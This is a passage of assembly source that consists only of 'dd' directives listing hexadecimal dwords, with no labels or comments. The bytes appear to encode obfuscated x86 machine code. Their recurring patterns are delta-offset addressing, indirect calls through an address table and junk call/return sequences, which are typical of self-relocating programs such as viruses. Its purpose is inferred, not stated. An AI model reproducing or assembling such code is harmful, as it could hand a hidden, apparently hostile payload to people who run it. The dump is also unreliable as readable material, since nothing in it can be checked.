		dd 0B4B564B3h, 75ACBFA4h, 42BFDA23h, 0C9BD295Eh, 5A05E427h
		dd 94858D61h, 8B05E439h, 0E41D3995h, 0CE805h, 77A60000h
		dd 369E634Ah, 0B4E8F1D3h, 0FF5A2629h, 6840FD0h,	89000000h
		dd 0E411A195h, 41858905h, 0F05E402h, 68Eh, 0B58D8B00h
		dd 0C605E429h, 0E42A4985h, 68F94405h, 0B8F2EC64h, 23618589h
		dd 0B5FF05E4h, 5E428E5h, 6ABBC781h, 858D69A4h, 5E43994h
		dd 66D0FFFCh, 0D649DA81h, 2A298589h, 0C88A05E4h, 2A4985C6h
		dd 0F4305E4h, 382h, 0FEB70F00h,	764AA768h, 0CF8B66C0h
		dd 28E5B5FFh, 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0BC1064C3h, 610189F2h, 8DCBBF0Fh
		dd 0E4399485h, 8E805h, 854E0000h, 3693A573h, 0D38A9FBEh
		dd 8BD0FF59h, 0E4154DBDh, 71858905h, 6A05E419h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 2211C350h, 0BE9FCh, 0EDD80000h, 20703B25h, 0CC3C0BCEh
		dd 0E2B966F7h, 860FBBh,	80000000h, 0E6F75ABDh, 840F0005h
		dd 0E8h, 0F73C858Dh, 50F805E6h,	9E9h, 6EEA8600h, 0FEF9EC0Ah
		dd 16A6157h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	5BC35646h, 12ED9FC6h, 2B1D0D66h, 0E42C6DBDh, 0D98D8B05h
		dd 6A05E421h, 13E900h, 9B760000h, 48877A4Ch, 0EAE498FFh
		dd 4BA77F94h, 964B61ACh, 6A006A99h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 3F02C356h
		dd 96DBD23h, 0BD8905E4h, 5E42191h, 275195FFh, 9D8905E4h
		dd 5E419A5h, 236D8589h,	6A05E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0DBD7CAC3h, 22E07A47h
		dd 0FC10AF5h, 687h, 0EDBD0300h,	6A05E426h, 6DB5FFFFh, 905E423h
		dd 0E4090185h, 0EA816605h, 95FF1A8Bh, 5E42DADh,	8E9C08Bh
		dd 0E1000000h, 0EF673BA2h, 83E98CC7h, 0E416A1BDh, 9750005h
		dd 220DBD83h, 740005E4h, 8B535019h, 7D1B8C0h, 85890000h
		dd 5E42215h, 0A8EB9D8Dh, 0D3FF05E6h, 0BD83585Bh, 5E4220Dh
		dd 50177400h, 7D1B853h,	85890000h, 5E42215h, 0A5DA9D8Dh
		dd 0D3FF05E6h, 958B585Bh, 5E41F95h, 5850Fh, 81660000h
		dd 891041DFh, 0E426BDB5h, 0FC08B05h, 68Ah, 39950900h, 0F05E401h
		dd 68Eh, 0AD8D8900h, 0C605E416h, 0E42A4985h, 6A4705h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0ECA7CAC3h, 8BD04EE4h, 0E4142195h, 0F7C16805h, 0D78193C8h
		dd 52B68387h, 28E5B5FFh, 9D0905E4h, 5E41A59h, 3994858Dh
		dd 6A05E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 5301CBC3h, 47C031F5h, 8B93AB49h, 0E40D5D8Dh
		dd 8D0F5605h, 3, 5FADC280h, 0CE9D0FFh, 0A000000h, 56677CBBh
		dd 5A5751F6h, 505A35CCh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 61C35646h, 4169811Fh,	2A278FEAh, 3800Fh
		dd 0B70F0000h, 7D858DCBh, 0F05E6FBh, 68Dh, 39850900h, 0C705E41Ah
		dd 9400h, 96BA6600h, 0B70F58BCh, 7E9F9h, 0DF220000h, 0ABA4B08Eh
		dd 7DB58DACh, 0E905E6FBh, 5, 7A2C2FECh,	8D8B5667h, 5E4207Dh
		dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0FE8B93C3h, 0FB7D858Dh, 0BCBF05E6h, 831103A8h
		dd 0F060478h, 3985h, 0ED958B00h, 8B05E41Ch, 0E42C21BDh
		dd 1185C705h, 105E6FCh,	81000000h, 0D505F2EAh, 11E831h
		dd 0C1A0000h, 0CD759E00h, 5C390474h, 0BBAE246Eh, 8972BC90h
		dd 0E41BCDBDh, 0BD835A05h, 5E42C3Dh, 3F850F00h,	60000000h
		dd 0AEC1BE66h, 481BD8Bh, 836105E4h, 0E6FC11BDh,	850F0005h
		dd 26h,	0D1D8589h, 0BD8305E4h, 5E40111h, 13840F00h, 89000000h
		dd 0E41835BDh, 0C985C705h, 5E424h, 66000000h, 8C66FB8Bh
		dd 0BF0FF5DBh, 4C3F6D6h, 63A840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 7CF98AC3h
		dd 5E52DD3Dh, 0FE9A0F8h, 74000000h, 2F7B02DBh, 7F303145h
		dd 85D7E423h, 0B5898232h, 5E419D1h, 299585C7h, 5E4h, 14E90000h
		dd 7B000000h, 7E7FC7Ah,	4B0675A1h, 43BB4F5Dh, 9879B14Dh
		dd 80A8E50Eh, 0E6F767BDh, 850F0005h, 31h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 14h, 1EC35141h, 0AE9h
		dd 0EA01D000h, 3483BCCFh, 2929638Bh, 0E42A55BDh, 4985C605h
		dd 4705E42Ah, 8E9F8h, 0B1110000h, 0B9487115h, 86688C09h
		dd 6AE3E45Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0C2C3C351h, 28E5B5FFh,	958905E4h
		dd 5E42B9Dh, 3994858Dh,	6A05E4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 9D09B8C3h, 1FF9958Bh
		dd 0D0FF05E4h, 21D5BD03h, 46805E4h, 6A000001h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 3F2FC357h, 6870Fh, 95030000h, 5E407BDh, 18559D8Dh, 858905E4h
		dd 5E423B1h, 26759D01h,	8B5305E4h, 0FD0FFFBh, 858DD6BFh
		dd 5E41855h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	6CC35040h, 59FCF4F4h, 0CCEA8168h, 506EEB69h, 6840Fh
		dd 0EA810000h, 47F0FBC9h
		dd 0F719858Dh, 0F5705E6h, 295AFBBFh, 0E4222195h, 8DFC5005h
		dd 0E6EDEC85h, 0F8B0F05h, 0E9000000h, 0Ah, 0ADF0FC3Dh
		dd 0CC8E03B5h, 0E9501909h, 0Fh,	37D13491h, 6181E7A6h, 0C07BAD86h
		dd 0FFDB78A1h, 0E427D595h, 45950905h, 8305E413h, 0BF660CC4h
		dd 6AC133h, 8068h, 6A036A00h, 68006A00h, 80000000h, 0EDEC858Dh
		dd 0FF5005E6h, 0E40FA995h, 0FC858905h, 0C605E6F6h, 0E42A4985h
		dd 87684705h, 0FFC7B15Eh, 0E428E5B5h, 94858D05h, 0FF05E439h
		dd 0FF006AD0h, 0E6F6FCB5h, 66D0FF05h, 0E88212BAh, 7, 0FA121DDh
		dd 0F3EBE47h, 682h, 5BD8900h, 5A05E417h, 37D03Dh, 7F830F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0D985C350h, 977F4471h,	37BA6691h
		dd 0FCB5FFE9h, 6A05E6F6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 3835C352h, 0AD42E34h
		dd 7D958B8Ah, 0E905E432h, 13h, 0FF59CD98h, 0F4691AA3h
		dd 45390FD3h, 82862C5Bh, 0FFAC8886h, 0E4197195h, 86DD8005h
		dd 104E9h, 3E34BF00h, 0B5FF4196h, 5E6F6FCh, 2589952Bh
		dd 95FF05E4h, 5E41971h,	6890Fh,	0B5890000h, 5E413E9h, 9589006Ah
		dd 5E43149h, 8D0F006Ah,	10h, 8E857h, 0B2470000h, 777E778Ah
		dd 5A5FC792h, 0DE9006Ah, 7B000000h, 788E179Dh, 0F102E9BEh
		dd 8398B409h, 0A8B9006Ah, 6A50D985h, 52BF6600h,	8B666024h
		dd 0DD9AB9FBh, 6A614F3Dh, 0FEBF0F00h, 0F700858Dh, 0FE905E6h
		dd 65000000h, 82700D0Bh, 0E691DC40h, 0C0802570h, 6A5002BCh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0A33CC357h, 4A4B0581h, 3D8589FFh,	0E905E404h
		dd 0Ch,	8BCF8F02h, 52AC06FCh, 0C01D2557h, 0FA995FFh, 0BD8B05E4h
		dd 5E420F5h, 0F7F2B966h, 0FFFF883h, 18C85h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 89085C53h, 0E42CE995h, 8C858D05h, 6605E6B2h,	7AE8F281h
		dd 8D89D0FFh, 5E4324Dh,	0BF66006Ah, 6AB652h, 1AED958Bh
		dd 6A05E4h, 0E8006AF8h,	0Ah, 0F463688Fh, 5DD9D91Dh, 0D38B6745h
		dd 6A006A5Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 668EC352h, 5790DCB1h, 0FA16E893h
		dd 2B59529h, 6A05E4h, 858DFCh, 0F05E6F7h, 68Fh,	39B58900h
		dd 5005E41Dh, 0D79BD8Bh, 95FF05E4h, 5E40FA9h, 0F883CB8Bh
		dd 0D6850FFFh, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0BC09C350h,	9BB94A35h
		dd 0ED25A749h, 0BE9h, 55542100h, 0A7ACF1CFh, 0EF4114AEh
		dd 0F108B58Dh, 8D8905E6h, 5E40005h, 9C41858Dh, 6A05E6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 8C3707C3h, 0E2D55EF9h, 2FB3BA0Eh, 0D0FF3E7Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 61C35040h, 8A1EADBBh
		dd 198B0Fh, 870F0000h, 13h, 0EE9h, 24469F00h, 7A730406h
		dd 750A2184h, 6A0BFD91h, 4930B900h, 95FF69CFh, 5E40241h
		dd 0DB9BD89h, 0EE905E4h, 8A000000h, 845BDD3Ch, 0EB894CE0h
		dd 4D877578h, 0FC85894Dh, 6A05E6F6h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F8D7C355h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0B944CBC3h, 570609B9h, 0F4858D3Dh, 0E805E6F6h
		dd 0Dh,	98859DCh, 7FF140CDh, 0C50A113Ah, 0BFB966D0h, 8B505936h
		dd 0E420ED95h, 81046A05h, 67508DE2h, 0B5858D6Eh, 5005E41Ah
		dd 1739958Bh, 6A05E4h, 7E9h, 853F7100h,	0E6A3EBEAh, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 5A9E9FC3h, 608D9B3Dh, 6870Fh, 8C0F0000h, 0
		dd 0E36F1DBAh, 16A612Ah, 0A96EAEBAh, 0FCB5FF74h, 0E905E6F6h
		dd 0Bh,	0DBAC85F1h, 49EBC85Ah, 0FF3050D7h, 0E42A2995h
		dd 18E0F05h, 0FC000000h, 1C86E9h, 0D18B6600h, 6AC08Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0D90F73C3h, 135B02FBh, 0E8B24F5Eh, 6, 41F9F901h, 0BF0F7F1Ah
		dd 0BD835AFEh, 5E416A1h, 83097500h, 0E4220DBDh,	19740005h
		dd 0C08B5350h, 7D2B8h, 15858900h, 8D05E422h, 0E6A8EB9Dh
		dd 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h, 7D2B8h, 15858900h
		dd 8D05E422h, 0E6A5DA9Dh, 5BD3FF05h, 0C98D8B58h, 6A05E421h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 16F8C357h, 4676F38Ah, 8BC2231Dh, 0E423398Dh
		dd 0E2816605h, 0C08B583Eh, 7359D31h, 85C705E4h,	5E42995h
		dd 1, 0D717E281h, 0B8687665h, 0FFCEE4E7h, 0E40FB9B5h, 94858D05h
		dd 0FF05E439h, 998589D0h, 6805E423h, 0C005DBD4h, 0FB9B5FFh
		dd 858D05E4h, 5E43994h,	8589D0FFh, 5E430F5h, 0EBA5858Dh
		dd 0FF5005E6h, 0E428E5B5h, 9195FF05h, 0B05E40Ch, 8B0B74C0h
		dd 58858DD8h, 5005E6FBh, 858DD3FFh, 5E6FB58h, 9388366h
		dd 85C70A75h, 5E42AE1h,	1, 7CD95FFh, 0FF2505E4h, 83000000h
		dd 0A7305F8h, 168185C7h, 105E4h, 8D8B0000h, 5E42E6Dh, 38E0Fh
		dd 0E2800000h, 67BD80DDh, 5E6F7h, 36850Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 43C5CFC3h, 55684177h, 0E961C03Bh, 5,	94207635h, 1AE1E9FDh
		dd 0CF8A0000h, 2AE1BD83h, 0F0005E4h, 0CE85h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0D7B183E7h, 190FEC8h, 0E4213D8Dh, 31858D05h,	6A05E6F7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 9DC4C355h, 78947DFAh, 9C671254h, 97CDBF66h
		dd 59950350h, 6A05E432h, 0C88B6601h, 7E9006Ah, 50000000h
		dd 0CCACC8B5h, 6A1547h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 98C35343h, 0D88F5594h, 2F78D56Ch, 5195FF18h
		dd 0B05E427h, 0E4239D95h, 5B858905h, 8105E6F7h,	964F0AD9h
		dd 50FF6A75h, 5BB5FF59h, 5705E6F7h, 1DB98D8Bh, 0FF5F05E4h
		dd 0E42DAD95h, 0A5C28105h, 8D7B5540h, 0E6EB6C85h, 0BE905h
		dd 0FF3D0000h, 0DFDCBA7h, 0B5802022h, 0FFF55078h, 0E4243995h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 8D231934h, 5E404C9h, 0EBF68589h,	2CB905E6h
		dd 8D2EF7FFh, 0E6EB7985h, 0ADBD0B05h, 5005E426h, 0EBF6B5FFh
		dd 0E98105E6h, 1A361DA8h, 0C9195FFh, 8B6605E4h,	118589F9h
		dd 6A05E428h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0D071C355h, 0D9BBDh, 0E7817FC9h
		dd 2241DC6Fh, 0EBE7858Dh, 6A05E6h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 5B6489C3h, 50B516EDh
		dd 58B0Fh, 81660000h, 0FFD0C4D9h, 0E6EBF6B5h, 7E805h, 3A820000h
		dd 17EDC206h, 9E8DEh, 6FA40000h, 8362F16Dh, 898CFA42h
		dd 0E404ADBDh, 0FF595F05h, 0E40C9195h, 11E905h,	0FDD70000h
		dd 9EB293A1h, 0DB0183F7h, 69C60D59h, 89FB5228h,	0E6EC0A85h
		dd 8D315205h, 5E40809h,	0C5958B5Ah, 8D05E40Fh, 0E6EBC685h
		dd 0D8A0F05h, 0E8000000h, 5, 12B7869Bh,	59D68BD8h, 0C98D0150h
		dd 0FF05E429h, 0E6EBF6B5h, 9195FF05h, 2905E40Ch, 0E4279995h
		dd 820F6005h, 3, 0E979DA80h, 14h, 26155461h, 7D13D067h
		dd 7A9F9D73h, 3B24C108h, 0F46EECD1h, 2858961h, 8B05E6ECh
		dd 0E41FD195h, 0B9858D05h, 6A05E6EBh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 50BAC357h
		dd 0FF93F680h, 0E6EBF6B5h, 65958B05h, 0FF05E402h, 0E40C9195h
		dd 6858905h, 8B05E6ECh,	0D4858DC8h, 8905E6EBh, 0E413D5BDh
		dd 8F0F5005h, 3, 80D6BF0Fh, 0B5FF16C1h,	5E6EBF6h, 319DBD89h
		dd 95FF05E4h, 5E40C91h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0D3C35646h, 0DAB56AB4h, 899503D1h, 8905E409h
		dd 0E4184585h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 66DA58E6h, 0EB88858Dh
		dd 0F38A05E6h, 0ECEBACB9h, 880F5021h, 5, 57E98166h, 0F6B5FF13h
		dd 0E805E6EBh, 13h, 3556540Ch, 8F23D82Ch, 68CB9446h, 0A04F9C4Fh
		dd 8B2471B9h, 0E41DB995h, 95FF5F05h, 5E40C91h, 22F1BD29h
		dd 1DBF05E4h, 89685AF5h, 0E6EBFA85h, 0E1BA6605h, 97858D6Fh
		dd 6005E6EBh, 82F18166h, 0D1BD891Ch, 6105E42Ch,	51006A50h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 80FD2161h, 840FEADAh, 11h, 0CE9h, 13267900h,	80BB3E7Bh
		dd 92639E86h, 0F6B5FFBBh, 0F05E6EBh, 38Dh, 1AD98000h, 0C9195FFh
		dd 9DB905E4h, 891BCDE2h, 0E6EBFE85h, 0D8D0F05h,	60000000h
		dd 1E018589h, 816605E4h, 6111DAF6h, 10468h, 698D8B00h
		dd 8D05E425h, 0E6EC8E85h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 50F98DDBh
		dd 1DF9BD8Bh, 9D2905E4h, 5E41311h, 0ED92858Dh, 0BF0F05E6h
		dd 50D78BFFh, 4860Fh, 0BA660000h, 952B4E7Ch, 5E40951h
		dd 1D0D95FFh, 0D2B605E4h, 850FC085h, 6,	13E58D8Bh, 0BD8005E4h
		dd 5E6F767h, 1E850F00h,	0F000000h, 684h, 8E0F00h, 66000000h
		dd 3E49DF81h, 165AE9h, 0BD0B5200h, 5E40FD5h, 0E1BD835Ah
		dd 5E42Ah, 22850Fh, 8D030000h, 5E42B91h, 0FC11BD83h, 0F0005E6h
		dd 3884h, 98C0F00h, 60000000h, 0FBDC8B9h, 61EF8A18h, 0EC2B858Dh
		dd 0B58905E6h, 5E40D01h, 1612E9h, 818D8900h, 0E905E422h
		dd 1Eh,	8E9h, 325DF400h, 85D8EECAh, 16858D9Dh, 0E905E6ECh
		dd 6, 72DF765Ah, 6A508BEBh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 294EC350h, 0E414C9B5h
		dd 8E858D05h, 5105E6ECh, 0D4C08160h, 89726F7Bh,	0E425AD8Dh
		dd 505A6105h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	25C35141h, 66CFB70Fh, 83732AB9h, 0E42AE1BDh, 840F0005h
		dd 1Ah,	3AD781F9h, 8D45D4B5h, 0E6EDB485h, 0EFC68005h, 11E9h
		dd 0E7816600h, 858D3C3Bh, 5E6ED9Dh, 1D56DF81h, 8D505970h
		dd 0E6EDEC85h, 0D5805005h, 10E94Ch, 0A8460000h,	0A698615Bh
		dd 5BC4BBF2h, 0A531400Dh, 95FF8CB9h, 5E427D5h, 0EE9FC60h
		dd 0AD000000h, 2CF9004h, 1298BDE7h, 0ED3F4923h,	0C48361B2h
		dd 0F5B58910h, 8105E402h, 9E13A4D9h, 89C08B5Eh,	0E4001185h
		dd 0A1BD8305h, 5E416h, 0BD830975h, 5E4220Dh, 50197400h
		dd 0B8C08B53h, 7D3h, 22158589h,	9D8D05E4h, 5E6A8EBh, 585BD3FFh
		dd 220DBD83h, 740005E4h, 0B8535017h, 7D3h, 22158589h, 9D8D05E4h
		dd 5E6A5DAh, 585BD3FFh
		dd 97FBE281h, 0B70F6919h, 0B53152D1h, 5E42835h,	8BC08B5Ah
		dd 0E41A898Dh, 16BD8105h, 6F05E6ECh, 0F616572h,	8584h
		dd 0E5958B00h, 8D05E410h, 0E6EC8E85h, 858D5005h, 5E6EDCBh
		dd 0EC858D50h, 5005E6EDh, 27D595FFh, 0C48305E4h, 4985C60Ch
		dd 4405E42Ah, 0A3184F68h, 0E5B5FF96h, 8D05E428h, 0E4399485h
		dd 8BD0FF05h, 0EC858DD8h, 5005E6EDh, 858DD3FFh,	5E6EC16h
		dd 8E858D50h, 5005E6ECh, 2AE1BD83h, 740005E4h, 0B4858D08h
		dd 0EB05E6EDh, 9D858D06h, 5005E6EDh, 0EDEC858Dh, 0FF5005E6h
		dd 0E427D595h, 10C48305h, 2181958Bh, 95FF05E4h,	5E407CDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 1DC35242h
		dd 0FF25E9C5h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 6ADDC355h, 8B6628C4h
		dd 5F883CBh, 74830Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 4B2334C3h, 0AFF02E18h
		dd 9CD28111h, 0C71D7F73h, 0E4168185h, 105h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0FFB7E90Dh, 6F04B271h, 94C981CDh, 8D5DBC0Bh,	0E6EC4A85h
		dd 98D2B05h, 8905E41Fh,	0E423698Dh, 32E905h, 0BD830000h
		dd 5E42AE1h, 19840F00h,	52000000h, 12FDBD89h, 8D5905E4h
		dd 0E6EC7585h, 0C78A6005h, 0EE961h, 0D18B0000h,	0EC57858Dh
		dd 8D8905E6h, 5E41399h,	0EC8A8589h, 0C88B05E6h,	1F325ABAh
		dd 0E1BD8361h, 5E42Ah, 29850Fh,	8B560000h, 0BD835FCEh
		dd 5E6FC11h, 25840F00h,	0E9000000h, 13h, 0E001A639h, 8180EC63h
		dd 0AE518F44h, 306CC51Eh, 0E99078E0h, 12CBh, 11BD8B57h
		dd 5A05E432h, 46DE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0FE4F5AC0h, 97F83BEDh
		dd 8589FC50h, 5E416FDh,	8B66C08Bh, 0A1BD83CAh, 5E416h
		dd 0BD830975h, 5E4220Dh, 50197400h, 0B8C08B53h,	7D4h, 22158589h
		dd 9D8D05E4h, 5E6A8EBh,	585BD3FFh, 220DBD83h, 740005E4h
		dd 0B8535017h, 7D4h, 22158589h,	9D8D05E4h, 5E6A5DAh, 585BD3FFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 93C35545h
		dd 53006A44h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 578263CEh, 68C08B59h, 0F003Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1BC35343h, 0F7247DCAh
		dd 6A4EB9h, 1FE9B529h, 6A05E4h,	0CDD98166h, 1195FF2Ah
		dd 0E905E428h, 0Bh, 0F65D102Bh,	25D1524Eh, 85779CD7h, 1B850FC0h
		dd 0F000000h, 1580h, 10E900h, 0E3870000h, 7448463Bh, 0C5CF7D1h
		dd 0DF4B38A2h, 85899271h, 5E6EC0Eh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 10C35141h, 16C5488Dh, 0CE8B661Dh
		dd 30F9BD89h, 6A05E4h, 10E9h, 0F452C300h, 242D03C2h, 34B14E67h
		dd 7BDC22B1h, 89006A71h, 0E42CB585h, 0E9006A05h, 14h, 0A8C02CDDh
		dd 553DC445h, 0DAB13CBEh, 70AC4C15h, 8BBC174Bh,	8C0F006Ah
		dd 0Dh,	0CF816660h, 0B5897037h,	5E409A1h, 6A006A61h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 17DAC350h, 0E900EDF5h, 0BD8B7FACh, 5E43219h,	3E5BD89h
		dd 858D05E4h, 5E6EDECh,	100DB589h, 895005E4h, 0E40231BDh
		dd 6A016A05h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 818FC355h, 0DB8EBCC9h,	8A016A2Ch
		dd 89016AD1h, 0E41D518Dh, 1FF6805h, 8166000Fh, 835BAFC1h
		dd 0E42AE1BDh, 840F0005h, 5Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 9FC35141h, 894BAE74h, 0E40DC5B5h
		dd 6B858D05h, 6A05E6ECh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0DB09C350h,	523D35C1h
		dd 5AF8BF0Fh, 12E9h, 1958B00h, 8D05E402h, 0E6EC4185h, 45BD3105h
		dd 5005E40Dh, 50CA8B66h, 283FEA81h, 0B5FF7448h,	5E6EC0Eh
		dd 95FF35B5h, 5E6EBFAh,	8BB9BF66h, 850FC085h, 13h, 0BF0FCFB2h
		dd 6CE9FFh, 0BA660000h,	3BBF0692h, 893D5307h, 0E6EC1285h
		dd 0AAB95705h, 5A2CA88Dh, 0EC12B5FFh, 75B905E6h, 0FF3F1010h
		dd 0E4184595h, 0CE905h,	93D90000h, 0AFDF09EAh, 5DECEE56h
		dd 14E8773Ah, 85000000h, 283B3DBAh, 7405F024h, 0A2655B5Ch
		dd 2CBBDA97h, 0F0F65E6h, 689h, 0FDB50100h, 5905E40Fh, 850FC085h
		dd 6, 0D959D89h, 106A05E4h, 1F098D89h, 0BD8305E4h, 5E42AE1h
		dd 41840F00h, 66000000h, 609BCDBFh, 2860Fh, 2DB60000h
		dd 0B6D88166h, 858D61E6h, 5E6EC6Bh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0B6C35545h,	66EAC245h, 0E942A2BAh
		dd 0Ch,	0EC41858Dh, 950105E6h, 5E42A65h, 0B1858950h, 0FF05E414h
		dd 0E6EC0EB5h, 1D853105h, 0FF05E410h, 0E6EC0695h, 47B96605h
		dd 0FC0852Eh, 0A85h, 2CCEBF00h,	0AABA4552h, 89162D38h
		dd 0E6EC1285h, 818D8B05h, 6A05E426h, 0EDE98000h, 0C280006Ah
		dd 12B5FF56h, 6A05E6ECh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 3FD8C351h, 7F136A22h
		dd 0FE95FFECh, 0E905E6EBh, 0Bh,	0DE6040Bh, 0BE61499Dh
		dd 85503990h, 26850FC0h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0DE44C352h
		dd 8B627C48h, 0E408798Dh, 12B5FF05h, 2905E6ECh,	0E42D8185h
		dd 0DA816605h, 95FF56EAh, 5E41845h, 1D618D8Bh, 0C08505E4h
		dd 850Fh, 6A0000h, 0D299531h, 806805E4h, 8B000000h, 0E41BF195h
		dd 6AF88B05h, 8E903h, 3DA00000h, 0B51C7619h, 6A88FCh, 6ACE8Bh
		dd 12860Fh, 0DE90000h, 3E000000h, 0F566CA3Ah, 144EE076h
		dd 0B2C684A1h, 68h, 799D01C0h, 0FF05E426h, 0E6EC8AB5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 89FC2AF7h, 0E40C8195h, 0A995FF05h, 6A05E40Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0CBC6C356h, 9DD2F4E2h, 9D894628h,	5E407DDh
		dd 0FFFF883h, 5B285h, 0F885FF00h, 5305E6F6h, 37D8509h
		dd 835F05E4h, 0E6F6F8BDh, 840F0205h, 467h, 818589F8h, 8D05E422h
		dd 5AF59F85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8B6666AAh, 8DD0FFD3h, 5AEFF285h
		dd 0E991BF00h, 0D0FF21F0h, 0E953E1BFh, 6AC08B1Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 96EBC351h, 0F7A6C779h, 4D68D281h, 8E92712h, 7D000000h
		dd 80585CC3h, 83F3CBBDh, 0E416A1BDh, 9750005h, 220DBD83h
		dd 740005E4h, 8B535019h, 7D8B8C0h, 85890000h, 5E42215h
		dd 0A8EB9D8Dh, 0D3FF05E6h, 0BD83585Bh, 5E4220Dh, 50177400h
		dd 7D8B853h, 85890000h,	5E42215h, 0A5DA9D8Dh, 0D3FF05E6h
		dd 6A585Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 89028FC3h
		dd 0E425C59Dh, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0FCE9707Ah, 6E9h, 0D1CC3600h
		dd 8BCA311Fh, 199D89C0h, 6805E431h, 0F003Fh, 0B9B58960h
		dd 5705E42Dh, 810Fh, 61590000h,	6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0F8520C3h
		dd 6AFEBFh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
